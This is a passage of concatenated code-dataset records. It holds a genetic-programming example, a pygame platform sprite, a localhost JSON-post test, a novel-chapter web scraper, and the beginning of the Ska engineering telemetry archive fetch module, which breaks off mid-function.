ri.get_instruction('_integer_add'),\n ri.get_instruction('_integer_sub'),\n lambda: random.randint(0, 10),\n instr.PyshInputInstruction(0)],\n \"epigenetic_markers\" : [],\n \"selection_method\" : \"epsilon_lexicase\",\n \"genetic_operator_probabilities\" : {\"alternation\" : 0.5,\n \"uniform_mutation\" : 0.5},\n \"alternation_rate\" : 0.1,\n \"uniform_mutation_rate\" : 0.1\n}\n\n\nif __name__ == \"__main__\":\n gp.evolution(error_func, problem_params)\n\n","sub_path":"examples/integer_regression.py","file_name":"integer_regression.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"344347096","text":"import pygame\npygame.init()\n\nDisplay_Width = 1200\nDisplay_Height = 675\nDisplay = pygame.display.set_mode((Display_Width,Display_Height))\n\nclass Platform(pygame.sprite.Sprite):\n def __init__(self,x,y,type=\"platform\"):\n pygame.sprite.Sprite.__init__(self)\n self.type = type\n if self.type == \"platform\":\n plat = pygame.image.load(\"images/platform.png\").convert_alpha()\n elif self.type == \"trampoline\":\n plat = pygame.image.load(\"images/trampoline.png\").convert_alpha()\n width, height = plat.get_rect().size\n plat = pygame.transform.scale(plat,(int(width*0.84),int(height*0.84)))\n width, height = plat.get_rect().size\n hitbox = pygame.transform.scale(plat,(int(width),int(height*0.5)))\n h_width, h_height = hitbox.get_rect().size\n self.rect = hitbox.get_rect()\n self.rect.move(0,height-h_height)\n self.rect.x = x\n self.rect.y = y\n self.image = plat\n","sub_path":"Classes/Platform.py","file_name":"Platform.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"297960232","text":"import requests\nimport json\n\ndef insert(username,note):\n data = {\"username\":username, \"note\":note}\n json_data = json.dumps(data)\n res = requests.post(\"http://127.0.0.1:8000/create/\", data=json_data)\n print(res.status_code)\n print(res.json())\n\ninsert(\"jitu\",\"hey there i am jitu...\")","sub_path":"provider/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"287869708","text":"#!/usr/bin/python3\n#-*- coding=utf-8 -*-\n\nimport urllib.request, os, sys\nimport time\n\nwget_temp_file = \"wget_{}.html\".format(time.time())\n\ndef getHttp(url, data = \"\"):\n \"\"\"get the url from web\"\"\"\n i = 0\n print(url)\n #while i < 2:\n # try:\n f = None\n if data:\n f = urllib.request.urlopen(url, data)\n else:\n f = urllib.request.urlopen(url)\n d = f.read()\n f.close()\n return d\n # except:\n # i += 1\n # print(\"网络错误 %d\" % i)\n #return \"\"\n\ndef addToHtml(filename, content):\n try:\n if (os.path.isfile(filename) == True):\n f = open(filename, \"w\")\n else:\n f = open(filename, \"a\")\n f.write(content)\n f.close()\n except:\n print(filename, \"write Error\")\n\ndef removeHtmlContent(a):\n r = [\n (\"
\", \"\\n\"),\n (\" \", \" \"),\n ]\n for e in r:\n a = a.replace(e[0], e[1])\n\n f1 = \"<\"\n f2 = \">\"\n t1 = a.find(f1)\n while t1 != -1:\n t2 = a.find(f2, t1)\n a = a[:t1] + a[t2+len(f2):]\n t1 = a.find(f1)\n return a\n\ndef getIndex(url):\n ret = []\n f1 = '
\" + f)\n\n t1 = a.find(f1)\n while t1 != -1:\n t2 = a.find(f2, t1+len(f1))\n ret.append(a[t1+len(f1):t2])\n t1 = a.find(f1, t2)\n\n return ret\n\ndef getContent(url):\n d = \"/tmp/\"\n e = url.split(\"/\")[-1]\n f = d+e\n a = \"\"\n if os.path.exists(f):\n a = open(f).read()\n if len(a) == 0:\n a = getHttp(url)\n open(f, \"wb\").write(a)\n else:\n a = getHttp(url)\n open(f, \"wb\").write(a)\n\n try:\n a = a.decode(\"gbk\")\n except UnicodeDecodeError:\n # correct the ill chars\n import checkIllegalChar\n a = checkIllegalChar.correctChars(a, \"gbk\", \"utf-8\")\n open(f, \"w\").write(a)\n a = a.decode(\"gbk\").encode(\"utf-8\")\n\n f3 = ''\n f4 = ''\n t3 = a.find(f3)\n t4 = a.find(f4, t3+len(f3))\n f1 = 'div id=\"content\">'\n f2 = ''\n t1 = a.find(f1)\n t2 = a.find(f2, t1+len(f1))\n\n title = a[t3+len(f3):t4].replace(\"正文 \", \"\")\n title = title.split(\"_\")[0]\n content = a[t1+len(f1):t2]\n print(e, \"title : {}\".format(len(title)), \"content: {}\".format(len(content)))\n if t2-t1-len(f1) < 0:\n return \"\"\n\n return \"==> \" + title + \"\\n\"*3 + removeHtmlContent(content) + \"\\n\"*3\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 2:\n f = \"/tmp/novel_{}.txt\".format(time.time())\n s = \"\"\n\n base = sys.argv[1].strip()\n index = getIndex(base)\n\n i = 0\n for e in index:\n b = getContent(base+e)\n if b == \"\":\n break\n s = s + b\n #i += 1\n #if i == 10:\n # break\n addToHtml(f, s)\n print(\"save to {}\".format(f))\n else:\n print(\"python3 getNovelsiluke.py url\")\n\n","sub_path":"py/getNovelsiluke3.py","file_name":"getNovelsiluke3.py","file_ext":"py","file_size_in_byte":3122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"160084996","text":"#!/usr/bin/env python\n# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\"\"\"\nFetch values from the Ska engineering telemetry archive.\n\"\"\"\nimport collections\nimport contextlib\nimport fnmatch\nimport logging\nimport operator\nimport os\nimport pickle\nimport re\nimport sys\nimport time\nimport warnings\nfrom pathlib import Path\n\nimport numpy as np\nimport pyyaks.context\nfrom astropy.io import ascii\nfrom Chandra.Time import DateTime\nfrom ska_helpers.utils import lru_cache_timed\n\nfrom . import __version__ # noqa\nfrom . import cache, file_defs, remote_access\nfrom .derived.comps import ComputedMsid\nfrom .lazy import LazyDict\nfrom .remote_access import ENG_ARCHIVE\nfrom .units import Units\n\n# Module-level units, defaults to CXC units (e.g. Kelvins etc)\nUNITS = Units(system=\"cxc\")\n\n# Module-level control of whether MSID.fetch will cache the last 30 results\nCACHE = False\n\nIGNORE_COLNAMES = (\"TIME\", \"MJF\", \"MNF\", \"TLM_FMT\")\nDIR_PATH = os.path.dirname(os.path.abspath(__file__))\n\n# Dates near the start of 2000 that demarcates the split between the 1999 data\n# and post-2000 data. The 1999 data goes out to at least 2000:005:13:00:00,\n# while post-2000 data starts as late as 2000:001:11:58:59. Dates between LO\n# and HI get taken from either 1999 or post-2000. The times are 4 millisec before\n# a minor frame boundary to avoid collisions.\nDATE2000_LO = DateTime(\"2000:001:00:00:00.090\").date\nDATE2000_HI = DateTime(\"2000:003:00:00:00.234\").date\n\n# Launch date (earliest possible date for telemetry)\nLAUNCH_DATE = \"1999:204\"\n\n# Maximum number of MSIDs that should ever match an input MSID spec\n# (to prevent accidentally selecting a very large number of MSIDs)\nMAX_GLOB_MATCHES = 10\n\n# Special-case state codes that override those in the TDB\nSTATE_CODES = {\n # SIMDIAG\n \"3SDSWELF\": [(0, \"F\"), (1, \"T\")],\n \"3SDSYRS\": [(0, \"F\"), (1, \"T\")],\n \"3SDWMRS\": [(0, \"F\"), (1, \"T\")],\n # SIM_MRG\n \"3TSCMOVE\": [(0, \"F\"), (1, \"T\")],\n \"3FAMOVE\": [(0, \"F\"), (1, \"T\")],\n \"3SEAID\": [(0, \"SEA-A\"), (1, \"SEA-B\")],\n \"3SEARSET\": [(0, \"F\"), (1, \"T\")],\n \"3SEAROMF\": [(0, \"F\"), (1, \"T\")],\n \"3SEAINCM\": [(0, \"F\"), (1, \"T\")],\n \"3STAB2EN\": [(0, \"DISABLE\"), (1, \"ENABLE\")],\n \"3SMOTPEN\": [(0, \"ENABLE\"), (1, \"DISABLE\")],\n \"3SMOTSEL\": [(0, \"TSC\"), (1, \"FA\")],\n \"3SHTREN\": [(0, \"DISABLE\"), (1, \"ENABLE\")],\n \"3SEARAMF\": [(0, \"F\"), (1, \"T\")],\n}\n\n# Cached version (by content type) of first and last available times in archive\nCONTENT_TIME_RANGES = {}\n\n# Default source of data.\nDEFAULT_DATA_SOURCE = \"cxc\"\n\n\nclass _DataSource(object):\n \"\"\"\n Context manager and quasi-singleton configuration object for managing the\n data_source(s) used for fetching telemetry.\n \"\"\"\n\n _data_sources = (DEFAULT_DATA_SOURCE,)\n _allowed = (\"cxc\", \"maude\", \"test-drop-half\")\n\n def __init__(self, *data_sources):\n self._new_data_sources = data_sources\n\n def __enter__(self):\n self._orig_data_sources = self.__class__._data_sources\n self.set(*self._new_data_sources)\n\n def __exit__(self, type, value, traceback):\n self.__class__._data_sources = self._orig_data_sources\n\n @classmethod\n def set(cls, *data_sources):\n \"\"\"\n Set current data sources.\n\n :param *data_sources: one or more sources (str)\n \"\"\"\n if any(\n data_source.split()[0] not in cls._allowed for data_source in data_sources\n ):\n raise ValueError(\n \"data_sources {} not in allowed set {}\".format(\n data_sources, cls._allowed\n )\n )\n\n if len(data_sources) == 0:\n raise ValueError(\n \"must select at least one data source in {}\".format(cls._allowed)\n )\n\n cls._data_sources = data_sources\n\n @classmethod\n def sources(cls, include_test=True):\n \"\"\"\n Get tuple of current data sources names.\n\n :param include_test: include sources that start with 'test'\n :returns: tuple of data source names\n \"\"\"\n if include_test:\n sources = cls._data_sources\n else:\n sources = [x for x in cls._data_sources if not x.startswith(\"test\")]\n\n return tuple(source.split()[0] for source in sources)\n\n @classmethod\n def get_msids(cls, source):\n \"\"\"\n Get the set of MSID names corresponding to ``source`` (e.g. 'cxc' or 'maude')\n\n :param source: str\n :returns: set of MSIDs\n \"\"\"\n source = source.split()[0]\n\n if source == \"cxc\":\n out = list(content.keys())\n elif source == \"maude\":\n import maude\n\n out = list(maude.MSIDS.keys())\n else:\n raise ValueError('source must be \"cxc\" or \"msid\"')\n\n return set(out)\n\n @classmethod\n def options(cls):\n \"\"\"\n Get the data sources and corresponding options as a dict.\n\n Example::\n\n >>> data_source.set('cxc', 'maude allow_subset=False')\n >>> data_source.options()\n {'cxc': {}, 'maude': {'allow_subset': False}}\n\n :returns: dict of data source options\n \"\"\"\n import ast\n\n out = {}\n for source in cls._data_sources:\n vals = source.split()\n name, opts = vals[0], vals[1:]\n out[name] = {}\n for opt in opts:\n key, val = opt.split(\"=\")\n val = ast.literal_eval(val)\n out[name][key] = val\n\n return out\n\n\n# Public interface is a \"data_source\" module attribute\ndata_source = _DataSource\n\n\ndef local_or_remote_function(remote_print_output):\n \"\"\"\n Decorator maker so that a function gets run either locally or remotely\n depending on the state of remote_access.access_remotely. This decorator\n maker takes an optional remote_print_output argument that will be\n be printed (locally) if the function is executed remotely,\n\n For functions that are decorated using this wrapper:\n\n Every path that may be generated locally but used remotely should be\n split with _split_path(). Conversely the functions that use\n the resultant path should re-join them with os.path.join. In the\n remote case the join will happen using the remote rules.\n \"\"\"\n\n def the_decorator(func):\n def wrapper(*args, **kwargs):\n if remote_access.access_remotely:\n # If accessing a remote archive, establish the connection (if\n # necessary)\n if not remote_access.connection_is_established():\n try:\n if not remote_access.establish_connection():\n raise remote_access.RemoteConnectionError(\n \"Unable to establish connection for remote fetch.\"\n )\n except EOFError:\n # An EOF error can be raised if the python interpreter is being\n # called in such a way that input cannot be received from the\n # user (e.g. when the python interpreter is called from MATLAB)\n # If that is the case (and remote access is enabled), then\n # raise an import error\n raise ImportError(\n \"Unable to interactively get remote access info from user.\"\n )\n # Print the output, if specified\n if remote_access.show_print_output and remote_print_output is not None:\n print(remote_print_output)\n sys.stdout.flush()\n # Execute the function remotely and return the result\n return remote_access.execute_remotely(func, *args, **kwargs)\n else:\n return func(*args, **kwargs)\n\n return wrapper\n\n return the_decorator\n\n\ndef _split_path(path):\n \"\"\"\n Return a tuple of the components for ``path``. Strip off the drive if\n it exists AND access is remote. This works correctly for the local OS\n (linux / windows).\n \"\"\"\n path = Path(path)\n parts = path.parts\n if remote_access.access_remotely and path.drive:\n parts = (\"/\",) + parts[1:]\n return parts\n\n\ndef _get_start_stop_dates(times):\n if len(times) == 0:\n return {}\n else:\n return {\"start\": DateTime(times[0]).date, \"stop\": DateTime(times[-1]).date}\n\n\n# Context dictionary to provide context for msid_files\nft = pyyaks.context.ContextDict(\"ft\")\n\n# Global (eng_archive) definition of file names\nmsid_files = pyyaks.context.ContextDict(\"msid_files\", basedir=ENG_ARCHIVE)\nmsid_files.update(file_defs.msid_files)\n\n# Module-level values defining available content types and column (MSID) names.\n# Then convert from astropy Table to recarray for API stability.\n# Note that filetypes.as_array().view(np.recarray) does not quite work...\nfiletypes = ascii.read(os.path.join(DIR_PATH, \"filetypes.dat\"))\nfiletypes_arr = filetypes.as_array()\nfiletypes = np.recarray(len(filetypes_arr), dtype=filetypes_arr.dtype)\nfiletypes[()] = filetypes_arr\n\n# Get the list of filenames (an array is built to pass all the filenames at\n# once to the remote machine since passing them one at a time is rather slow)\nall_msid_names_files = dict()\nfor filetype in filetypes:\n ft[\"content\"] = filetype[\"content\"].lower()\n all_msid_names_files[str(ft[\"content\"])] = _split_path(msid_files[\"colnames\"].abs)\n\n\n# Function to load MSID names from the files (executed remotely, if necessary)\n@local_or_remote_function(\"Loading MSID names from Ska eng archive server...\")\ndef load_msid_names(all_msid_names_files):\n import pickle\n\n all_colnames = dict()\n for k, msid_names_file in all_msid_names_files.items():\n try:\n all_colnames[k] = pickle.load(open(os.path.join(*msid_names_file), \"rb\"))\n except IOError:\n pass\n return all_colnames\n\n\ndef load_content(all_colnames):\n out = {}\n # Save the names\n for content_type, msid_names in all_colnames.items():\n out.update(\n (name, content_type)\n for name in sorted(msid_names)\n if name not in IGNORE_COLNAMES\n )\n return out\n\n\n# Define MSID names as a dict of content_type: [MSID_names_for_content_type].\n# This is a LazyDict so nothing happens until a value is requested.\nall_colnames = LazyDict(load_msid_names, all_msid_names_files)\n\n# Define MSID content definition as dict of MSID_name: content_type\ncontent = LazyDict(load_content, all_colnames)\n\n\n# Cache of the most-recently used TIME array and associated bad values mask.\n# The key is (content_type, tstart, tstop).\ntimes_cache = dict(key=None)\n\n\n# Set up logging.\nclass NullHandler(logging.Handler):\n def emit(self, record):\n pass\n\n\nlogger = logging.getLogger(\"Ska.engarchive.fetch\")\nlogger.addHandler(NullHandler())\nlogger.propagate = False\n\n\ndef get_units():\n \"\"\"Get the unit system currently being used for conversions.\"\"\"\n return UNITS[\"system\"]\n\n\ndef set_units(unit_system):\n \"\"\"Set the unit system used for output telemetry values. The default\n is \"cxc\". Allowed values for ``unit_system`` are:\n\n ==== ==============================================================\n cxc FITS standard units used in CXC archive files (basically MKS)\n sci Same as \"cxc\" but with temperatures in degC instead of Kelvins\n eng OCC engineering units (TDB P009, e.g. degF, ft-lb-sec, PSI)\n ==== ==============================================================\n\n :param unit_system: system of units (cxc, sci, eng)\n \"\"\"\n UNITS.set_units(unit_system)\n\n\ndef read_bad_times(table):\n \"\"\"Include a list of bad times from ``table`` in the fetch module\n ``bad_times`` registry. This routine can be called multiple times with\n different tables and the bad times will be appended to the registry. The\n table can include any number of bad time interval specifications, one per\n line. A bad time interval line has three columns separated by whitespace,\n e.g.::\n\n aogbias1 2008:292:00:00:00 2008:297:00:00:00\n\n The MSID name is not case sensitive and the time values can be in any\n ``DateTime`` format. Blank lines and any line starting with the #\n character are ignored.\n \"\"\"\n bad_times = ascii.read(table, format=\"no_header\", names=[\"msid\", \"start\", \"stop\"])\n\n for msid, start, stop in bad_times:\n msid_bad_times.setdefault(msid.upper(), []).append((start, stop))\n\n\n# Set up bad times dict\nmsid_bad_times = dict()\nread_bad_times(os.path.join(DIR_PATH, \"msid_bad_times.dat\"))\n\n\ndef msid_glob(msid):\n \"\"\"Get the archive MSIDs matching ``msid``.\n\n The function returns a tuple of (msids, MSIDs) where ``msids`` is a list of\n MSIDs that is all lower case and (where possible) matches the input\n ``msid``. The output ``MSIDs`` is all upper case and corresponds to the\n exact MSID names stored in the archive HDF5 files.\n\n :param msid: input MSID glob\n :returns: tuple (msids, MSIDs)\n \"\"\"\n msids = {}\n MSIDS = {}\n\n # First check if `msid` matches a computed class. This does not allow\n # for globs, and here the output MSIDs is the single computed class.\n if ComputedMsid.get_matching_comp_cls(msid) is not None:\n return [msid], [msid.upper()]\n\n sources = data_source.sources(include_test=False)\n for source in sources:\n ms, MS = _msid_glob(msid, source)\n msids.update((m, None) for m in ms)\n MSIDS.update((m, None) for m in MS)\n\n if not msids:\n raise ValueError(\n \"MSID {!r} is not in {} data source(s)\".format(\n msid, \" or \".join(x.upper() for x in sources)\n )\n )\n\n return list(msids), list(MSIDS)\n\n\ndef _msid_glob(msid, source):\n \"\"\"Get the archive MSIDs matching ``msid``.\n\n The function returns a tuple of (msids, MSIDs) where ``msids`` is a list of\n MSIDs that is all lower case and (where possible) matches the input\n ``msid``. The output ``MSIDs`` is all upper case and corresponds to the\n exact MSID names stored in the archive HDF5 files.\n\n :param msid: input MSID glob\n :returns: tuple (msids, MSIDs)\n \"\"\"\n source_msids = data_source.get_msids(source)\n\n # MSID is the upper-case version of the MSID name that is actually used in\n # backend queries. ``msid`` is the user-supplied version.\n MSID = msid.upper()\n\n # CALC_ is a synonym for DP_ which works in both CXC and MAUDE archives, so\n # swap to DP_ if CALC_ is found. These are calculated pseudo-MSIDs.\n if MSID.startswith(\"CALC_\"):\n MSID = \"DP_\" + MSID[5:]\n\n # matches_msid is a list of MSIDs that match the input MSID. Providing the\n # initial DP_ is optional so we try both if the MSID doesn't already start\n # with DP_ (i.e. PITCH or DP_PITCH).\n matches_msid = (MSID,)\n if not MSID.startswith(\"DP_\"):\n matches_msid += (\"DP_\" + MSID,)\n\n # If one of matches_msid is in the source then return the upper\n # case version and whatever the user supplied (could be any case).\n for match in matches_msid:\n if match in source_msids:\n return [msid], [match]\n\n # Next try as a file glob. If there is a match then return a\n # list of matches, all lower case and all upper case. Since the\n # input was a glob the returned msids are just lower case versions\n # of the matched upper case MSIDs.\n for match in matches_msid:\n matches = fnmatch.filter(source_msids, match)\n if matches:\n if len(matches) > MAX_GLOB_MATCHES:\n raise ValueError(\n \"MSID spec {} matches more than {} MSIDs. \"\n \"Refine the spec or increase fetch.MAX_GLOB_MATCHES\".format(\n msid, MAX_GLOB_MATCHES\n )\n )\n return [x.lower() for x in matches], matches\n\n # msid not found for this data source\n return [], []\n\n\ndef _get_table_intervals_as_list(table, check_overlaps=True):\n \"\"\"\n Determine if the input ``table`` looks like a table of intervals. This can either be\n a structured array / Table with datestart / datestop or tstart / tstop columns,\n OR a list of lists.\n\n If so, return a list of corresponding start/stop tuples, otherwise return None.\n\n If ``check_overlaps`` is True then a check is made to assure that the supplied\n intervals do not overlap. This is needed when reading multiple intervals with\n a single call to fetch, but not for bad times filtering.\n \"\"\"\n intervals = None\n\n if isinstance(table, (list, tuple)):\n try:\n intervals = [\n (DateTime(row[0]).secs, DateTime(row[1]).secs) for row in table\n ]\n except Exception:\n pass\n else:\n for prefix in (\"date\", \"t\"):\n start = prefix + \"start\"\n stop = prefix + \"stop\"\n try:\n intervals = [\n (DateTime(row[start]).secs, DateTime(row[stop]).secs)\n for row in table\n ]\n except Exception:\n pass\n else:\n break\n\n # Got an intervals list, now sort\n if check_overlaps and intervals is not None:\n\n intervals = sorted(intervals, key=lambda x: x[0])\n\n # Check for overlaps\n if any(i0[1] > i1[0] for i0, i1 in zip(intervals[:-1], intervals[1:])):\n raise ValueError(\"Input intervals overlap\")\n\n return intervals\n\n\nclass MSID(object):\n \"\"\"Fetch data from the engineering telemetry archive into an MSID object.\n\n The input ``msid`` is case-insensitive and can include linux file \"glob\"\n patterns, for instance ``orb*1*_x`` (ORBITEPHEM1_X) or ``*pcadmd``\n (AOPCADMD). For derived parameters the initial ``DP_`` is optional, for\n instance ``dpa_pow*`` (DP_DPA_POWER).\n\n :param msid: name of MSID (case-insensitive)\n :param start: start date of telemetry (Chandra.Time compatible)\n :param stop: stop date of telemetry (current time if not supplied)\n :param filter_bad: automatically filter out bad values\n :param stat: return 5-minute or daily statistics ('5min' or 'daily')\n\n :returns: MSID instance\n \"\"\"\n\n units = UNITS\n fetch = sys.modules[__name__]\n\n def __init__(self, msid, start=LAUNCH_DATE, stop=None, filter_bad=False, stat=None):\n msids, MSIDs = msid_glob(msid)\n if len(MSIDs) > 1:\n raise ValueError(\"Multiple matches for {} in Eng Archive\".format(msid))\n else:\n self.msid = msids[0]\n self.MSID = MSIDs[0]\n\n # Capture the current module units\n self.units = Units(self.units[\"system\"])\n self.unit = self.units.get_msid_unit(self.MSID)\n self.stat = stat\n if stat:\n self.dt = {\"5min\": 328, \"daily\": 86400}[stat]\n\n # If ``start`` is actually a table of intervals then fetch\n # each interval separately and concatenate the results\n intervals = _get_table_intervals_as_list(start, check_overlaps=True)\n if intervals is not None:\n start, stop = intervals[0][0], intervals[-1][1]\n\n self.tstart = DateTime(start).secs\n self.tstop = (\n DateTime(stop).secs if stop else DateTime(time.time(), format=\"unix\").secs\n )\n self.datestart = DateTime(self.tstart).date\n self.datestop = DateTime(self.tstop).date\n self.data_source = {}\n self.content = content.get(self.MSID)\n\n if self.datestart < DATE2000_LO and self.datestop > DATE2000_HI:\n intervals = [(self.datestart, DATE2000_HI), (DATE2000_HI, self.datestop)]\n\n # Get the times, values, bad values mask from the HDF5 files archive\n if intervals is None:\n self._get_data()\n else:\n self._get_data_over_intervals(intervals)\n\n # If requested filter out bad values and set self.bad = None\n if filter_bad:\n self.filter_bad()\n\n if \"CHETA_FETCH_DATA_GAP\" in os.environ:\n create_msid_data_gap(self, os.environ[\"CHETA_FETCH_DATA_GAP\"])\n\n def __len__(self):\n return len(self.vals)\n\n @property\n def dtype(self):\n return self.vals.dtype\n\n def __repr__(self):\n attrs = [self.__class__.__name__, self.MSID]\n for name, val in (\n (\"start\", self.datestart),\n (\"stop\", self.datestop),\n (\"len\", len(self)),\n (\"dtype\", self.dtype.name),\n (\"unit\", self.unit),\n (\"stat\", self.stat),\n ):\n if val is not None:\n attrs.append(\"{}={}\".format(name, val))\n\n return \"<\" + \" \".join(attrs) + \">\"\n\n def _get_data_over_intervals(self, intervals):\n \"\"\"\n Fetch intervals separately and concatenate the results.\n \"\"\"\n msids = []\n for start, stop in intervals:\n msids.append(\n self.fetch.MSID(\n self.msid, start, stop, filter_bad=False, stat=self.stat\n )\n )\n\n # No bad values column for stat='5min' or 'daily', but still need this attribute.\n if self.stat:\n self.bads = None\n\n self.colnames = msids[0].colnames\n for attr in self.colnames:\n vals = np.concatenate([getattr(msid, attr) for msid in msids])\n setattr(self, attr, vals)\n\n def _get_data(self):\n \"\"\"Get data from the Eng archive\"\"\"\n logger.info(\n \"Getting data for %s between %s to %s\",\n self.msid,\n self.datestart,\n self.datestop,\n )\n\n comp_cls = ComputedMsid.get_matching_comp_cls(self.msid)\n if comp_cls:\n self._get_comp_data(comp_cls)\n return\n\n # Avoid stomping on caller's filetype 'ft' values with _cache_ft()\n with _cache_ft():\n ft[\"content\"] = self.content\n ft[\"msid\"] = self.MSID\n\n with _set_msid_files_basedir(self.datestart):\n if self.stat:\n if \"maude\" in data_source.sources():\n raise ValueError(\n \"MAUDE data source does not support telemetry statistics\"\n )\n ft[\"interval\"] = self.stat\n self._get_stat_data()\n else:\n self.colnames = [\"vals\", \"times\", \"bads\"]\n args = (\n self.content,\n self.tstart,\n self.tstop,\n self.MSID,\n self.units[\"system\"],\n )\n\n if (\n \"cxc\" in data_source.sources()\n and self.MSID in data_source.get_msids(\"cxc\")\n ):\n # CACHE is normally True only when doing ingest processing. Note\n # also that to support caching the get_msid_data_from_cxc_cached\n # method must be static.\n get_msid_data = (\n self._get_msid_data_from_cxc_cached\n if CACHE\n else self._get_msid_data_from_cxc\n )\n self.vals, self.times, self.bads = get_msid_data(*args)\n self.data_source[\"cxc\"] = _get_start_stop_dates(self.times)\n\n if \"test-drop-half\" in data_source.sources() and hasattr(\n self, \"vals\"\n ):\n # For testing purposes drop half the data off the end. This assumes another\n # data_source like 'cxc' has been selected.\n idx = len(self.vals) // 2\n self.vals = self.vals[:idx]\n self.times = self.times[:idx]\n self.bads = self.bads[:idx]\n # Following assumes only one prior data source but ok for controlled testing\n for source in self.data_source:\n self.data_source[source] = _get_start_stop_dates(self.times)\n\n if (\n \"maude\" in data_source.sources()\n and self.MSID in data_source.get_msids(\"maude\")\n ):\n # Update self.vals, times, bads in place. This might concatenate MAUDE\n # telemetry to existing CXC values.\n self._get_msid_data_from_maude(*args)\n\n def _get_comp_data(self, comp_cls):\n logger.info(f\"Getting computed values for {self.msid}\")\n\n # Do computation. This returns a dict of MSID attribute values.\n attrs = comp_cls(self.units[\"system\"])(\n self.tstart, self.tstop, self.msid, self.stat\n )\n\n # Allow upstream class to be a bit sloppy on times and include samples\n # outside the time range. This can happen with classes that inherit\n # from DerivedParameter.\n ok = (attrs[\"times\"] >= self.tstart) & (attrs[\"times\"] <= self.tstop)\n all_ok = np.all(ok)\n\n # List of \"colnames\", which is the ndarray attributes. There can be\n # non-ndarray attributes that get returned, including typically 'unit'.\n self.colnames = [\n attr\n for attr, val in attrs.items()\n if (isinstance(val, np.ndarray) and len(val) == len(attrs[\"times\"]))\n ]\n\n # Apply attributes to self\n for attr, val in attrs.items():\n if (\n not all_ok\n and isinstance(val, np.ndarray)\n and len(val) == len(attrs[\"times\"])\n ):\n val = val[ok]\n setattr(self, attr, val)\n\n def _get_stat_data(self):\n \"\"\"Do the actual work of getting stats values for an MSID from HDF5\n files\"\"\"\n filename = msid_files[\"stats\"].abs\n logger.info(\"Opening %s\", filename)\n\n @local_or_remote_function(\n \"Getting stat data for \" + self.MSID + \" from Ska eng archive server...\"\n )\n def get_stat_data_from_server(filename, dt, tstart, tstop):\n import tables\n\n open_file = getattr(tables, \"open_file\", None) or tables.openFile\n h5 = open_file(os.path.join(*filename))\n table = h5.root.data\n times = (table.col(\"index\") + 0.5) * dt\n row0, row1 = np.searchsorted(times, [tstart, tstop])\n table_rows = table[row0:row1] # returns np.ndarray (structured array)\n h5.close()\n return (times[row0:row1], table_rows, row0, row1)\n\n times, table_rows, row0, row1 = get_stat_data_from_server(\n _split_path(filename), self.dt, self.tstart, self.tstop\n )\n logger.info(\"Closed %s\", filename)\n\n self.bads = None\n self.times = times\n self.colnames = [\"times\"]\n for colname in table_rows.dtype.names:\n # Don't like the way columns were named in the stats tables.\n # Fix that here.\n colname_out = _plural(colname) if colname != \"n\" else \"samples\"\n\n if colname_out in (\n \"vals\",\n \"mins\",\n \"maxes\",\n \"means\",\n \"p01s\",\n \"p05s\",\n \"p16s\",\n \"p50s\",\n \"p84s\",\n \"p95s\",\n \"p99s\",\n ):\n vals = self.units.convert(self.MSID, table_rows[colname])\n elif colname_out == \"stds\":\n vals = self.units.convert(\n self.MSID, table_rows[colname], delta_val=True\n )\n else:\n vals = table_rows[colname]\n\n setattr(self, colname_out, vals)\n self.colnames.append(colname_out)\n\n # Redefine the 'vals' attribute to be 'means' if it exists. This is a\n # more consistent use of the 'vals' attribute and there is little use\n # for the original sampled version.\n if hasattr(self, \"means\"):\n # Create new attribute midvals and add as a column (fixes kadi#17)\n self.colnames.append(\"midvals\")\n self.midvals = self.vals\n self.vals = self.means\n\n # Convert vals to unicode for Python 3+. If this MSID is a\n # state-valued MSID (with string value) then `vals` is the only possible\n # string attribute. None of the others like mins/maxes etc will exist.\n for colname in self.colnames:\n vals = getattr(self, colname)\n if vals.dtype.kind == \"S\":\n setattr(self, colname, vals.astype(\"U\"))\n\n @staticmethod\n @cache.lru_cache(30)\n def _get_msid_data_from_cxc_cached(content, tstart, tstop, msid, unit_system):\n \"\"\"Do the actual work of getting time and values for an MSID from HDF5\n files and cache recent results. Caching is very beneficial for derived\n parameter updates but not desirable for normal fetch usage.\"\"\"\n return MSID._get_msid_data_from_cxc(content, tstart, tstop, msid, unit_system)\n\n @staticmethod\n def _get_msid_data_from_cxc(content, tstart, tstop, msid, unit_system):\n \"\"\"Do the actual work of getting time and values for an MSID from HDF5\n files\"\"\"\n\n # Get a row slice into HDF5 file for this content type that picks out\n # the required time range plus a little padding on each end.\n h5_slice = get_interval(content, tstart, tstop)\n\n # Cache the last set of TIME values so repeated queries from within a\n # content type use the already-available times. Use the content, start\n # row and stop row as key. This guarantees that the times array matches\n # the subsequent values.\n cache_key = (content, h5_slice.start, h5_slice.stop)\n\n # Read the TIME values either from cache or from disk.\n if times_cache[\"key\"] == cache_key:\n logger.info(\"Using times_cache for %s %s to %s\", content, tstart, tstop)\n times = times_cache[\"val\"] # Already filtered on times_ok\n times_ok = times_cache[\"ok\"] # For filtering MSID.val and MSID.bad\n times_all_ok = times_cache[\"all_ok\"]\n else:\n ft[\"msid\"] = \"time\"\n filename = msid_files[\"msid\"].abs\n logger.info(\"Reading %s\", filename)\n\n @local_or_remote_function(\n \"Getting time data from Ska eng archive server...\"\n )\n def get_time_data_from_server(h5_slice, filename):\n import tables\n\n open_file = getattr(tables, \"open_file\", None) or tables.openFile\n h5 = open_file(os.path.join(*filename))\n times_ok = ~h5.root.quality[h5_slice]\n times = h5.root.data[h5_slice]\n h5.close()\n return (times_ok, times)\n\n times_ok, times = get_time_data_from_server(h5_slice, _split_path(filename))\n\n # Filter bad times. Last instance of bad times in archive is 2004\n # so don't do this unless needed. Creating a new 'times' array is\n # much more expensive than checking for np.all(times_ok).\n times_all_ok = np.all(times_ok)\n if not times_all_ok:\n times = times[times_ok]\n\n times_cache.update(\n dict(key=cache_key, val=times, ok=times_ok, all_ok=times_all_ok)\n )\n\n # Extract the actual MSID values and bad values mask\n ft[\"msid\"] = msid\n filename = msid_files[\"msid\"].abs\n logger.info(\"Reading %s\", filename)\n\n @local_or_remote_function(\n \"Getting msid data for \" + msid + \" from Ska eng 